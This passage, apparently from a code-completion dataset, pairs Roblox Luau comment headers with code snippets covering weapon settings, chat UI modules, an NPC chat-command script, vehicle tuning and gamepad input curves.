720; -- 60 = 1 Minute, 700 = Rounds per that 60 seconds. DO NOT TOUCH THE 60!\n\t\n\tFireMode = 1; -- 1 = Semi, 2 = Auto, 3 = Burst, 4 = Bolt Action, 5 = Shot, 6 = Explosive\n\t"} +{"prompt": "--------------------------------------------------------------------------------------\n--------------------[ WELD CFRAMES ]--------------------------------------------------\n--------------------------------------------------------------------------------------", "completion": "\n\nspawn(function()\n\t--[[for _, v in pairs(Gun:GetChildren()) do\n\t\tif v:IsA(\"BasePart\") and v ~= Handle then\n\t\t\tif v:FindFirstChild(\"mainWeld\") then v.mainWeld:Destroy() end\n\t\t\tif (not v:FindFirstChild(\"weldCF\")) then\n\t\t\t\tlocal weldCF = Instance.new(\"CFrameValue\")\n\t\t\t\tweldCF.Name = \"weldCF\"\n\t\t\t\tweldCF.Value = Handle.CFrame:toObjectSpace(v.CFrame)\n\t\t\t\tweldCF.Parent = v\n\t\t\t\tINSERT(gunParts, {Obj = v, Weld = nil})\n\t\t\tend\n\t\t\tif string.sub(v.Name, 1, 3) == \"Mag\" then\n\t\t\t\tif (not v:FindFirstChild(\"magTrans\")) then\n\t\t\t\t\tlocal magTrans = Instance.new(\"NumberValue\")\n\t\t\t\t\tmagTrans.Name = \"magTrans\"\n\t\t\t\t\tmagTrans.Value = v.Transparency\n\t\t\t\t\tmagTrans.Parent = v\n\t\t\t\tend\n\t\t\tend\n\t\t\tv.Anchored = false\n\t\tend\n\tend\n\tHandle.Anchored = false]]\n\tfor _, v in pairs(Gun:GetChildren()) do\n\t\tif v:FindFirstChild(\"weldCF\") then\n\t\t\tINSERT(gunParts, {Obj = v, Weld = nil})\n\t\t\tv.Anchored = false\n\t\tend\n\tend\nend)\n"} +{"prompt": "------------------------------------------------------------------------", "completion": "\n\nlocal Spring = {} do\n\tSpring.__index = Spring\n\n\tfunction Spring.new(freq, pos)\n\t\tlocal self = setmetatable({}, Spring)\n\t\tself.f = freq\n\t\tself.p = pos\n\t\tself.v = pos*0\n\t\treturn self\n\tend\n\n\tfunction Spring:Update(dt, goal)\n\t\tlocal f = self.f*2*pi\n\t\tlocal p0 = self.p\n\t\tlocal v0 = self.v\n\n\t\tlocal offset = goal - p0\n\t\tlocal decay = exp(-f*dt)\n\n\t\tlocal p1 = goal + (v0*dt - offset*(f*dt + 1))*decay\n\t\tlocal v1 = (f*dt*(offset*f - v0) + v0)*decay\n\n\t\tself.p = p1\n\t\tself.v = v1\n\n\t\treturn p1\n\tend\n\n\tfunction Spring:Reset(pos)\n\t\tself.p = pos\n\t\tself.v = pos*0\n\tend\nend\n"} +{"prompt": "--[[\n\tCmdr setup\n]]", "completion": "\n\nCmdr:SetActivationKeys({\n\tEnum.KeyCode.Backquote,\n\tEnum.KeyCode.BackSlash,\n})\n\nCmdr:SetEnabled(true)\nif not UserInputService.KeyboardEnabled then\n\tif Util.isPlayerIDInTable(localPlayer, Conf.reference_games_user_ids) then\n\t\tlocal cmdrFrame = ReplicatedStorage.Assets.GuiObjects.Frames.CmdrFrame\n\t\tlocal cmdrButton = cmdrFrame.CmdrButton\n\t\tlocal cmdrGui = playerGui:WaitForChild(\"Cmdr\")\n\t\tcmdrButton.Activated:Connect(function()\n\t\t\tlocal window = Cmdr.Interface.Window\n\t\t\tif window:IsVisible() then\n\t\t\t\tcmdrFrame.Position = UDim2.new(0, 0, 0, 0)\n\t\t\t\twindow:Hide()\n\t\t\telse\n\t\t\t\tcmdrFrame.Position = UDim2.new(0, 0, 0.1, 0)\n\t\t\t\twindow:Show()\n\t\t\tend\n\t\tend)\n\t\tcmdrFrame.Parent = cmdrGui\n\tend\nend\n\nlocal ConsoleEventHandlers = require(ReplicatedStorage.Libraries.ConsoleEventHandlers)\n"} +{"prompt": "-- Decompiled with the Synapse X Luau decompiler.", "completion": "\n\nlocal l__Parent__1 = script.Parent;\nlocal v2 = {};\nv2.__index = v2;\nlocal u1 = require(game:GetService(\"Chat\"):WaitForChild(\"ClientChatModules\"):WaitForChild(\"ChatSettings\"));\nlocal u2 = {\n\tScrollBarThickness = 4\n};\nfunction v2.Destroy(p1)\n\tp1.GuiObject:Destroy();\n\tp1.Destroyed = true;\nend;\nfunction v2.SetActive(p2, p3)\n\tp2.GuiObject.Visible = p3;\nend;\nfunction v2.UpdateMessageFiltered(p4, p5)\n\tlocal v3 = nil;\n\tlocal v4 = 1;\n\tlocal l__MessageObjectLog__5 = p4.MessageObjectLog;\n\twhile v4 <= #l__MessageObjectLog__5 do\n\t\tlocal v6 = l__MessageObjectLog__5[v4];\n\t\tif v6.ID == p5.ID then\n\t\t\tv3 = v6;\n\t\t\tbreak;\n\t\tend;\n\t\tv4 = v4 + 1;\t\n\tend;\n\tif v3 then\n\t\tv3.UpdateTextFunction(p5);\n\t\tp4:PositionMessageLabelInWindow(v3, v4);\n\tend;\nend;\nlocal u3 = require(l__Parent__1:WaitForChild(\"MessageLabelCreator\")).new();\nfunction v2.AddMessage(p6, p7)\n\tp6:WaitUntilParentedCorrectly();\n\tlocal v7 = u3:CreateMessageLabel(p7, p6.CurrentChannelName);\n\tif v7 == nil then\n\t\treturn;\n\tend;\n\ttable.insert(p6.MessageObjectLog, v7);\n\tp6:PositionMessageLabelInWindow(v7, #p6.MessageObjectLog);\nend;\nfunction v2.AddMessageAtIndex(p8, p9, p10)\n\tlocal v8 = u3:CreateMessageLabel(p9, p8.CurrentChannelName);\n\tif v8 == nil then\n\t\treturn;\n\tend;\n\ttable.insert(p8.MessageObjectLog, p10, v8);\n\tp8:PositionMessageLabelInWindow(v8, p10);\nend;\nfunction v2.RemoveLastMessage(p11)\n\tp11:WaitUntilParentedCorrectly();\n\tp11.MessageObjectLog[1]:Destroy();\n\ttable.remove(p11.MessageObjectLog, 1);\nend;\nfunction v2.IsScrolledDown(p12)\n\tlocal l__Offset__9 = p12.Scroller.CanvasSize.Y.Offset;\n\tlocal l__Y__10 = p12.Scroller.AbsoluteWindowSize.Y;\n\tlocal v11 = true;\n\tif not (l__Offset__9 < l__Y__10) then\n\t\tv11 = l__Offset__9 - p12.Scroller.CanvasPosition.Y <= l__Y__10 + 5;\n\tend;\n\treturn v11;\nend;\nfunction v2.UpdateMessageTextHeight(p13, p14)\n\tlocal l__BaseFrame__12 = p14.BaseFrame;\n\tfor v13 = 1, 10 do\n\t\tif p14.BaseMessage.TextFits then\n\t\t\tbreak;\n\t\tend;\n\t\tl__BaseFrame__12.Size = UDim2.new(1, 0, 0, p14.GetHeightFunction(p13.Scroller.AbsoluteSize.X - v13));\n\tend;\nend;\nfunction v2.PositionMessageLabelInWindow(p15, p16, p17)\n\tp15:WaitUntilParentedCorrectly();\n\tlocal l__BaseFrame__14 = p16.BaseFrame;\n\tlocal v15 = 1;\n\tif p15.MessageObjectLog[p17 - 1] then\n\t\tif p17 == #p15.MessageObjectLog then\n\t\t\tv15 = p15.MessageObjectLog[p17 - 1].BaseFrame.LayoutOrder + 1;\n\t\telse\n\t\t\tv15 = p15.MessageObjectLog[p17 - 1].BaseFrame.LayoutOrder;\n\t\tend;\n\tend;\n\tl__BaseFrame__14.LayoutOrder = v15;\n\tl__BaseFrame__14.Size = UDim2.new(1, 0, 0, p16.GetHeightFunction(p15.Scroller.AbsoluteSize.X));\n\tl__BaseFrame__14.Parent = p15.Scroller;\n\tif p16.BaseMessage then\n\t\tp15:UpdateMessageTextHeight(p16);\n\tend;\n\tif p15:IsScrolledDown() then\n\t\tp15.Scroller.CanvasPosition = Vector2.new(0, math.max(0, p15.Scroller.CanvasSize.Y.Offset - p15.Scroller.AbsoluteSize.Y));\n\tend;\nend;\nfunction v2.ReorderAllMessages(p18)\n\tp18:WaitUntilParentedCorrectly();\n\tif p18.GuiObject.AbsoluteSize.Y < 1 then\n\t\treturn;\n\tend;\n\tfor v16, v17 in pairs(p18.MessageObjectLog) do\n\t\tp18:UpdateMessageTextHeight(v17);\n\tend;\n\tif not p18:IsScrolledDown() then\n\t\tp18.Scroller.CanvasPosition = p18.Scroller.CanvasPosition;\n\t\treturn;\n\tend;\n\tp18.Scroller.CanvasPosition = Vector2.new(0, math.max(0, p18.Scroller.CanvasSize.Y.Offset - p18.Scroller.AbsoluteSize.Y));\nend;\nfunction v2.Clear(p19)\n\tfor v18, v19 in pairs(p19.MessageObjectLog) do\n\t\tv19:Destroy();\n\tend;\n\tp19.MessageObjectLog = {};\nend;\nfunction v2.SetCurrentChannelName(p20, p21)\n\tp20.CurrentChannelName = p21;\nend;\nfunction v2.FadeOutBackground(p22, p23)\n\nend;\nfunction v2.FadeInBackground(p24, p25)\n\nend;\nlocal u4 = require(l__Parent__1:WaitForChild(\"CurveUtil\"));\nfunction v2.FadeOutText(p26, p27)\n\tfor v20 = 1, #p26.MessageObjectLog do\n\t\tif p26.MessageObjectLog[v20].FadeOutFunction then\n\t\t\tp26.MessageObjectLog[v20].FadeOutFunction(p27, u4);\n\t\tend;\n\tend;\nend;\nfunction v2.FadeInText(p28, p29)\n\tfor v21 = 1, #p28.MessageObjectLog do\n\t\tif p28.MessageObjectLog[v21].FadeInFunction then\n\t\t\tp28.MessageObjectLog[v21].FadeInFunction(p29, u4);\n\t\tend;\n\tend;\nend;\nfunction v2.Update(p30, p31)\n\tfor v22 = 1, #p30.MessageObjectLog do\n\t\tif p30.MessageObjectLog[v22].UpdateAnimFunction then\n\t\t\tp30.MessageObjectLog[v22].UpdateAnimFunction(p31, u4);\n\t\tend;\n\tend;\nend;\nfunction v2.WaitUntilParentedCorrectly(p32)\n\twhile not p32.GuiObject:IsDescendantOf(game:GetService(\"Players\").LocalPlayer) do\n\t\tp32.GuiObject.AncestryChanged:wait();\t\n\tend;\nend;\nlocal function u5()\n\tlocal v23 = Instance.new(\"Frame\");\n\tv23.Selectable = false;\n\tv23.Size = UDim2.new(1, 0, 1, 0);\n\tv23.BackgroundTransparency = 1;\n\tlocal v24 = Instance.new(\"ScrollingFrame\");\n\tv24.Selectable = u1.GamepadNavigationEnabled;\n\tv24.Name = \"Scroller\";\n\tv24.BackgroundTransparency = 1;\n\tv24.BorderSizePixel = 0;\n\tv24.Position = UDim2.new(0, 0, 0, 3);\n\tv24.Size = UDim2.new(1, -4, 1, -6);\n\tv24.CanvasSize = UDim2.new(0, 0, 0, 0);\n\tv24.ScrollBarThickness = u2.ScrollBarThickness;\n\tv24.Active = true;\n\tv24.Parent = v23;\n\tlocal v25 = Instance.new(\"UIListLayout\");\n\tv25.SortOrder = Enum.SortOrder.LayoutOrder;\n\tv25.Parent = v24;\n\treturn v23, v24, v25;\nend;\nfunction u2.new()\n\tlocal v26 = setmetatable({}, v2);\n\tv26.Destroyed = false;\n\tlocal v27, v28, v29 = u5();\n\tv26.GuiObject = v27;\n\tv26.Scroller = v28;\n\tv26.Layout = v29;\n\tv26.MessageObjectLog = {};\n\tv26.Name = \"MessageLogDisplay\";\n\tv26.GuiObject.Name = \"Frame_\" .. v26.Name;\n\tv26.CurrentChannelName = \"\";\n\tv26.GuiObject:GetPropertyChangedSignal(\"AbsoluteSize\"):Connect(function()\n\t\tspawn(function()\n\t\t\tv26:ReorderAllMessages();\n\t\tend);\n\tend);\n\tlocal u6 = true;\n\tv26.Layout:GetPropertyChangedSignal(\"AbsoluteContentSize\"):Connect(function()\n\t\tlocal l__AbsoluteContentSize__30 = v26.Layout.AbsoluteContentSize;\n\t\tv26.Scroller.CanvasSize = UDim2.new(0, 0, 0, l__AbsoluteContentSize__30.Y);\n\t\tif u6 then\n\t\t\tv26.Scroller.CanvasPosition = Vector2.new(0, l__AbsoluteContentSize__30.Y - v26.Scroller.AbsoluteWindowSize.Y);\n\t\tend;\n\tend);\n\tv26.Scroller:GetPropertyChangedSignal(\"CanvasPosition\"):Connect(function()\n\t\tu6 = v26:IsScrolledDown();\n\tend);\n\treturn v26;\nend;\nreturn u2;\n"} +{"prompt": "----------------------------------------------------------------------------------------------------\n--------------------=[ OUTROS ]=--------------------------------------------------------------------\n----------------------------------------------------------------------------------------------------", "completion": "\n\t,FastReload = true\t\t\t\t\t--- Automatically operates the bolt on reload if needed\n\t,SlideLock = false\n\t,MoveBolt = false\n\t,BoltLock = false\n\t,CanBreachDoor = true\n\t,CanBreak = true\t\t\t\t\t--- Weapon can jam?\n\t,JamChance = 1000\t\t\t\t\t--- This old piece of brick doesn't work fine >;c\n\t,IncludeChamberedBullet = true\t\t--- Include the chambered bullet on next reload\n\t,Chambered = false\t\t\t\t\t--- Start with the gun chambered?\n\t,LauncherReady = false\t\t\t\t--- Start with the GL ready?\n\t,CanCheckMag = false\t\t\t\t--- You can check the magazine\n\t,ArcadeMode = false\t\t\t\t\t--- You can see the bullets left in magazine\n\t,RainbowMode = false\t\t\t\t--- Operation: Party Time xD\n\t,ModoTreino = false\t\t\t\t\t--- Surrender enemies instead of killing them\n\t,GunSize = 5\n\t,GunFOVReduction = 5.5\n\n\t,BoltExtend = Vector3.new(0, 0, 0.4)\n\t,SlideExtend = Vector3.new(0, 0, 0.2)\t"} +{"prompt": "--> FUNCTIONS", "completion": "\nfunction Switch(V1, V2, V3, V4)\n\tif Mode.Value ~= V1 then\n\t\tMode.Value = V1\n\t\tOnBtn.Transparency = V2\n\t\tOffBtn.Transparency = V3\n\t\tV4.Beep:Play()\n\tend\nend\n\nfunction Smoke(Enable)\n\tModule.Smoke1.ParticleEmitter.Enabled = Enable\n\tModule.Smoke2.ParticleEmitter.Enabled = Enable\nend\n\nOnBtn.ClickDetector.MouseClick:Connect(function()\n\tSwitch(true, 0, .5, OnBtn)\n\t-- DO YOUR OWN ADDITIONAL CODE WHEN SWITCHED ON\nend)\n\nOffBtn.ClickDetector.MouseClick:Connect(function()\n\tSwitch(false, .5, 0, OffBtn)\n\tCylinder.Generator:Stop()\n\t-- DO YOUR OWN ADDITIONAL CODE WHEN SWITCHED OFF\nend)\n\nscript.On:GetPropertyChangedSignal(\"Value\"):Connect(function()\n\tif Mode.Value == true then\n\t\tSmoke(true)\n\t\tCylinder.Generator:Play()\n\t\twhile Mode.Value == true do\n\t\t\tOGPosition = Cylinder.Position\n\t\t\tGoal = {}\n\t\t\tGoal.Position = OGPosition + Vector3.new(0, .5, 0)\n\t\t\tTweenService:Create(Cylinder, TweenInfo.new(.5, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), Goal):Play()\n\t\t\twait(.5)\n\t\t\tGoal.Position = OGPosition\n\t\t\tTweenService:Create(Cylinder, TweenInfo.new(.5, Enum.EasingStyle.Sine, Enum.EasingDirection.In), Goal):Play()\n\t\t\twait(.5)\n\t\tend\n\t\tSmoke(false)\n\tend\nend)\n"} +{"prompt": "--// Positioning", "completion": "\n\tRestPos = CFrame.new(0.41808939, 0, -0.0273852348, 0.704155862, -0.0188415907, 0.709795356, -0.314750254, 0.887783766, 0.335815758, -0.636472106, -0.459874928, 0.61920774);\n\t\n\tSprintPos = CFrame.new(0, 0, 0, 0.844756603, -0.251352191, 0.472449303, 0.103136979, 0.942750931, 0.317149073, -0.525118113, -0.219186768, 0.822318792);\t\t\t\n"} +{"prompt": "--- Sets a list of keyboard keys (Enum.KeyCode) that can be used to open the commands menu", "completion": "\nfunction Cmdr:SetActivationKeys (keysArray)\n\tself.ActivationKeys = Util.MakeDictionary(keysArray)\nend\n"} +{"prompt": "-- connect events\n-----------------------------------------------------------------------------------------------------------------------", "completion": "\n\nfunction unequip()\n\tlocal items=script.Parent:children()\n\tfor i=1, #items do\n\t\tif items[i].className==\"Tool\" then items[i]:remove() end\n\tend\nend\n\nfunction onChatted(msg, recipient) \n\tmsg = string.lower(msg)\n\n\tif string.match(msg, string.lower(script.Parent.Name))~=nil or string.match(msg, \"everyone\") then\n\t\tif string.match(msg, \"equip\") then \n\t\t\tif game.Workspace:findFirstChild(\"Hub\") then\n\t\t\t\tif string.match(msg, \"rocket\") then unequip()\n\t\t\t\t\tgame.Workspace.Hub.Rocket:clone().Parent=script.Parent\n\t\t\t\telseif string.match(msg, \"slingshot\") then unequip()\n\t\t\t\t\tgame.Workspace.Hub.Slingshot:clone().Parent=script.Parent\n\t\t\t\telseif string.match(msg, \"sword\") then unequip()\n\t\t\t\t\tgame.Workspace.Hub.Sword:clone().Parent=script.Parent\n\t\t\t\telseif string.match(msg, \"pbg\") then unequip()\n\t\t\t\t\tgame.Workspace.Hub.PBG:clone().Parent=script.Parent\n\t\t\t\telseif string.match(msg, \"superball\") then unequip()\n\t\t\t\t\tgame.Workspace.Hub.Superball:clone().Parent=script.Parent\n\t\t\t\telseif string.match(msg, \"trowel\") then unequip()\n\t\t\t\t\tgame.Workspace.Hub.Trowel:clone().Parent=script.Parent\n\t\t\t\telseif string.match(msg, \"bomb\") then unequip()\n\t\t\t\t\tgame.Workspace.Hub.Bomb:clone().Parent=script.Parent\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\tif string.match(msg, \"unequip\") then unequip() end\n\t\tif string.match(msg, \"run\") then onRunning(1) end\n\t\tif string.match(msg, \"climb\") then onClimbing() end\n\t\tif string.match(msg, \"jump\") then onJumping() end\n\t\tif string.match(msg, \"zombie\") then pose=\"Zombie\" end\n\t\tif string.match(msg, \"disco\") then pose=\"Boogy\" end\n\t\tif string.match(msg, \"float\") then pose=\"Float\" end\n\t\tif string.match(msg, \"punch\") then pose=\"Punch\" end\n\t\tif string.match(msg, \"kick\") then pose=\"Kick\" end\n\t\tif string.match(msg, \"fly\") then pose=\"Fly\" end\n\t\tif string.match(msg, \"heal\") then script.Parent.Humanoid.Health=script.Parent.Humanoid.MaxHealth end\n\t\tif string.match(msg, \"defend\") then defence() end\n\t\tif string.match(msg, \"stop\") then pose=\"Standing\"; proxkill=false; following=false; stopmoving() end\n\t\tif string.match(msg, \"go home\") then following=false; gohome() end\n\t\tif string.match(msg, \"follow\") then\n\t\t\tif string.match(msg, \"all\") then\n\t\t\t\tfollowany()\n\t\t\telse\n\t\t\t\tlocal egg=game.Players:children()\n\t\t\t\tfor i=1, #egg do\n\t\t\t\t\tif string.match(msg, string.lower(egg[i].Name)) then\n\t\t\t\t\t\tfollow(egg[i].Name)\n\t\t\t\t\t\treturn\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\tif string.match(msg, \"kill\") then\n\t\t\tif string.match(msg, \"all\") then\n\t\t\t\tattackany()\n\t\t\telse\n\t\t\t\tlocal egg=game.Players:children()\n\t\t\t\tfor i=1, #egg do\n\t\t\t\t\tif string.match(msg, string.lower(egg[i].Name)) then\n\t\t\t\t\t\tattack(egg[i].Name)\n\t\t\t\t\t\treturn\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\tend\nend\n\nif game.Players.NumPlayers>1 then\n\tx=game.Players:children()\n\t\n\tfor i=1, #x do\n\t\tif script.Parent:findFirstChild(\"Commander\")~=nil then\n\t\t\tif script.Parent.Commander:children()~=nil or script.Parent.Commander:children()>0 then\n\t\t\t\tlocal ch=script.Parent.Commander:children()\n\t\t\t\tfor i=1, #ch do\n\t\t\t\t\tif string.lower(ch[i].Name)==string.lower(x[i].Name) then\n\t\t\t\t\t\tx[i].Chatted:connect(function(msg, recipient) onChatted(msg, recipient) end) \n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\telseif string.lower(script.Parent.Commander.Value)==string.lower(x[i].Name) then\n\t\t\t\tx[i].Chatted:connect(function(msg, recipient) onChatted(msg, recipient) end) \n\t\t\tend\n\t\telse\n\t\t\tx[i].Chatted:connect(function(msg, recipient) onChatted(msg, recipient) end)\n\t\tend\n\tend\nend\n\n\nfunction onPlayerEntered(Player) \n\twhile Player.Name==nil do\n\t\twait(2)\n\tend\n\tif script.Parent:findFirstChild(\"Commander\")~=nil then\n\t\tif script.Parent.Commander:children()~=nil or script.Parent.Commander:children()>0 then\n\t\t\tlocal ch=script.Parent.Commander:children()\n\t\t\tfor i=1, #ch do\n\t\t\t\tif string.lower(ch[i].Name)==string.lower(Player.Name) then\n\t\t\t\t\tPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient) end) \n\t\t\t\tend\n\t\t\tend\n\t\telseif string.lower(script.Parent.Commander.Value)==string.lower(Player.Name) then\n\t\t\tPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient) end) \n\t\tend\n\telse\n\t\tPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient) end)\n\tend\nend\n\ngame.Players.ChildAdded:connect(onPlayerEntered) \n\n\n"} +{"prompt": "--[[Finalize Chassis]]", "completion": "\t\n\t--Misc Weld\n\twait()\n\tfor i,v in pairs(script:GetChildren()) do\n\t\tif v:IsA(\"ModuleScript\") then\n\t\t\trequire(v)\n\t\tend\n\tend\n\t\n\t--Weld Body\n\twait()\n\tModelWeld(car.Body,car.DriveSeat)\n\t\n\t--Unanchor\n\twait()\t\n\tUnAnchor(car)\n"} +{"prompt": "--Get important instances", "completion": "\nlocal rstore = game:GetService(\"ReplicatedStorage\")\nlocal networking = rstore.TeleporterNetworking\n"} +{"prompt": "--[[Drivetrain]]", "completion": "\t\n\tTune.Config\t\t\t= \"AWD\"\t\t--\"FWD\" , \"RWD\" , \"AWD\"\n\t\n\t--Differential Settings\t\n\tTune.FDiffSlipThres\t= 50\t\t-- 1 - 100%\t\t\t\t(Max threshold of applying full lock determined by deviation from avg speed)\n\tTune.FDiffLockThres\t= 50\t\t-- 0 - 100%\t\t\t\t(0 - Bias toward slower wheel, 100 - Bias toward faster wheel)\n\tTune.RDiffSlipThres\t= 50\t\t-- 1 - 100%\n\tTune.RDiffLockThres\t= 50\t\t-- 0 - 100%\n\tTune.CDiffSlipThres\t= 50\t\t-- 1 - 100%\t\t\t\t[AWD Only]\n\tTune.CDiffLockThres\t= 50\t\t-- 0 - 100%\t\t\t\t[AWD Only]\n\t\n\t--Traction Control Settings\n\tTune.TCSEnabled\t\t= false\t\t-- Implements TCS\n\tTune.TCSThreshold\t= 20\t\t-- Slip speed allowed before TCS starts working (in SPS)\n\tTune.TCSGradient\t= 20\t\t-- Slip speed gradient between 0 to max reduction (in SPS)\n\tTune.TCSLimit\t\t= 10\t\t-- Minimum amount of torque at max reduction (in percent)\n\t"} +{"prompt": "--////////////////////////////////////////////////////////////////////////////////////////////\n--///////////// Code to talk to topbar and maintain set/get core backwards compatibility stuff\n--////////////////////////////////////////////////////////////////////////////////////////////", "completion": "\nlocal Util = {}\ndo\n\tfunction Util.Signal()\n\t\tlocal sig = {}\n\n\t\tlocal mSignaler = Instance.new('BindableEvent')\n\n\t\tlocal mArgData = nil\n\t\tlocal mArgDataCount = nil\n\n\t\tfunction sig:fire(...)\n\t\t\tmArgData = {...}\n\t\t\tmArgDataCount = select('#', ...)\n\t\t\tmSignaler:Fire()\n\t\tend\n\n\t\tfunction sig:connect(f)\n\t\t\tif not f then error(\"connect(nil)\", 2) end\n\t\t\treturn mSignaler.Event:connect(function()\n\t\t\t\tf(unpack(mArgData, 1, mArgDataCount))\n\t\t\tend)\n\t\tend\n\n\t\tfunction sig:wait()\n\t\t\tmSignaler.Event:wait()\n\t\t\tassert(mArgData, \"Missing arg data, likely due to :TweenSize/Position corrupting threadrefs.\")\n\t\t\treturn unpack(mArgData, 1, mArgDataCount)\n\t\tend\n\n\t\treturn sig\n\tend\nend\n\n\nfunction SetVisibility(val)\n\tChatWindow:SetVisible(val)\n\tmoduleApiTable.VisibilityStateChanged:fire(val)\n\tmoduleApiTable.Visible = val\n\n\tif (moduleApiTable.IsCoreGuiEnabled) then\n\t\tif (val) then\n\t\t\tInstantFadeIn()\n\t\telse\n\t\t\tInstantFadeOut()\n\t\tend\n\tend\nend\n\ndo\n\tmoduleApiTable.TopbarEnabled = true\n\tmoduleApiTable.MessageCount = 0\n\tmoduleApiTable.Visible = true\n\tmoduleApiTable.IsCoreGuiEnabled = true\n\n\tfunction moduleApiTable:ToggleVisibility()\n\t\tSetVisibility(not ChatWindow:GetVisible())\n\tend\n\n\tfunction moduleApiTable:SetVisible(visible)\n\t\tif (ChatWindow:GetVisible() ~= visible) then\n\t\t\tSetVisibility(visible)\n\t\tend\n\tend\n\n\tfunction moduleApiTable:FocusChatBar()\n\t\tChatBar:CaptureFocus()\n\tend\n\n\tfunction moduleApiTable:EnterWhisperState(player)\n\t\tChatBar:EnterWhisperState(player)\n\tend\n\n\tfunction moduleApiTable:GetVisibility()\n\t\treturn ChatWindow:GetVisible()\n\tend\n\n\tfunction moduleApiTable:GetMessageCount()\n\t\treturn self.MessageCount\n\tend\n\n\tfunction moduleApiTable:TopbarEnabledChanged(enabled)\n\t\tself.TopbarEnabled = enabled\n\t\tself.CoreGuiEnabled:fire(game:GetService(\"StarterGui\"):GetCoreGuiEnabled(Enum.CoreGuiType.Chat))\n\tend\n\n\tfunction moduleApiTable:IsFocused(useWasFocused)\n\t\treturn ChatBar:IsFocused()\n\tend\n\n\tmoduleApiTable.ChatBarFocusChanged = Util.Signal()\n\tmoduleApiTable.VisibilityStateChanged = Util.Signal()\n\tmoduleApiTable.MessagesChanged = Util.Signal()\n\n\n\tmoduleApiTable.MessagePosted = Util.Signal()\n\tmoduleApiTable.CoreGuiEnabled = Util.Signal()\n\n\tmoduleApiTable.ChatMakeSystemMessageEvent = Util.Signal()\n\tmoduleApiTable.ChatWindowPositionEvent = Util.Signal()\n\tmoduleApiTable.ChatWindowSizeEvent = Util.Signal()\n\tmoduleApiTable.ChatBarDisabledEvent = Util.Signal()\n\n\n\tfunction moduleApiTable:fChatWindowPosition()\n\t\treturn ChatWindow.GuiObject.Position\n\tend\n\n\tfunction moduleApiTable:fChatWindowSize()\n\t\treturn ChatWindow.GuiObject.Size\n\tend\n\n\tfunction moduleApiTable:fChatBarDisabled()\n\t\treturn not ChatBar:GetEnabled()\n\tend\n\n\tif FFlagUserHandleChatHotKeyWithContextActionService then\n\t\tlocal TOGGLE_CHAT_ACTION_NAME = \"ToggleChat\"\n\n\t\t-- Callback when chat hotkey is pressed\n\t\tlocal function handleAction(actionName, inputState, inputObject)\n\t\t\tif actionName == TOGGLE_CHAT_ACTION_NAME and inputState == Enum.UserInputState.Begin and canChat and inputObject.UserInputType == Enum.UserInputType.Keyboard then\n\t\t\t\tDoChatBarFocus()\n\t\t\tend\n\t\tend\n\t\tContextActionService:BindAction(TOGGLE_CHAT_ACTION_NAME, handleAction, true, Enum.KeyCode.Slash)\n\telse\n\t\tfunction moduleApiTable:SpecialKeyPressed(key, modifiers)\n\t\t\tif (key == Enum.SpecialKey.ChatHotkey) then\n\t\t\t\tif canChat then\n\t\t\t\t\tDoChatBarFocus()\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\nend\n\nmoduleApiTable.CoreGuiEnabled:connect(function(enabled)\n\tmoduleApiTable.IsCoreGuiEnabled = enabled\n\n\tenabled = enabled and (moduleApiTable.TopbarEnabled or ChatSettings.ChatOnWithTopBarOff)\n\n\tChatWindow:SetCoreGuiEnabled(enabled)\n\n\tif (not enabled) then\n\t\tChatBar:ReleaseFocus()\n\t\tInstantFadeOut()\n\telse\n\t\tInstantFadeIn()\n\tend\nend)\n\nfunction trimTrailingSpaces(str)\n\tlocal lastSpace = #str\n\twhile lastSpace > 0 do\n\t\t--- The pattern ^%s matches whitespace at the start of the string. (Starting from lastSpace)\n\t\tif str:find(\"^%s\", lastSpace) then\n\t\t\tlastSpace = lastSpace - 1\n\t\telse\n\t\t\tbreak\n\t\tend\n\tend\n\treturn str:sub(1, lastSpace)\nend\n\nmoduleApiTable.ChatMakeSystemMessageEvent:connect(function(valueTable)\n\tif (valueTable[\"Text\"] and type(valueTable[\"Text\"]) == \"string\") then\n\t\twhile (not DidFirstChannelsLoads) do wait() end\n\n\t\tlocal channel = ChatSettings.GeneralChannelName\n\t\tlocal channelObj = ChatWindow:GetChannel(channel)\n\n\t\tif (channelObj) then\n\t\t\tlocal messageObject = {\n\t\t\t\tID = -1,\n\t\t\t\tFromSpeaker = nil,\n\t\t\t\tSpeakerUserId = 0,\n\t\t\t\tOriginalChannel = channel,\n\t\t\t\tIsFiltered = true,\n\t\t\t\tMessageLength = string.len(valueTable.Text),\n\t\t\t\tMessageLengthUtf8 = utf8.len(utf8.nfcnormalize(valueTable.Text)),\n\t\t\t\tMessage = trimTrailingSpaces(valueTable.Text),\n\t\t\t\tMessageType = ChatConstants.MessageTypeSetCore,\n\t\t\t\tTime = os.time(),\n\t\t\t\tExtraData = valueTable,\n\t\t\t}\n\t\t\tchannelObj:AddMessageToChannel(messageObject)\n\t\t\tChannelsBar:UpdateMessagePostedInChannel(channel)\n\n\t\t\tmoduleApiTable.MessageCount = moduleApiTable.MessageCount + 1\n\t\t\tmoduleApiTable.MessagesChanged:fire(moduleApiTable.MessageCount)\n\t\tend\n\tend\nend)\n\nmoduleApiTable.ChatBarDisabledEvent:connect(function(disabled)\n\tif canChat then\n\t\tChatBar:SetEnabled(not disabled)\n\t\tif (disabled) then\n\t\t\tChatBar:ReleaseFocus()\n\t\tend\n\tend\nend)\n\nmoduleApiTable.ChatWindowSizeEvent:connect(function(size)\n\tChatWindow.GuiObject.Size = size\nend)\n\nmoduleApiTable.ChatWindowPositionEvent:connect(function(position)\n\tChatWindow.GuiObject.Position = position\nend)\n"} +{"prompt": "-- Gamepad thumbstick utilities", "completion": "\nlocal k = 0.5\nlocal lowerK = 0.9\nlocal function SCurveTransform(t)\n\tt = math.clamp(t, -1,1)\n\tif t >= 0 then\n\t\treturn (k*t) / (k - t + 1)\n\tend\n\treturn -((lowerK*-t) / (lowerK + t + 1))\nend\n\nlocal DEADZONE = 0.25\nlocal function toSCurveSpace(t)\n\treturn (1 + DEADZONE) * (2*math.abs(t) - 1) - DEADZONE\nend\n\nlocal function fromSCurveSpace(t)\n\treturn t/2 + 0.5\nend\n"} +{"prompt": "--Objects", "completion": 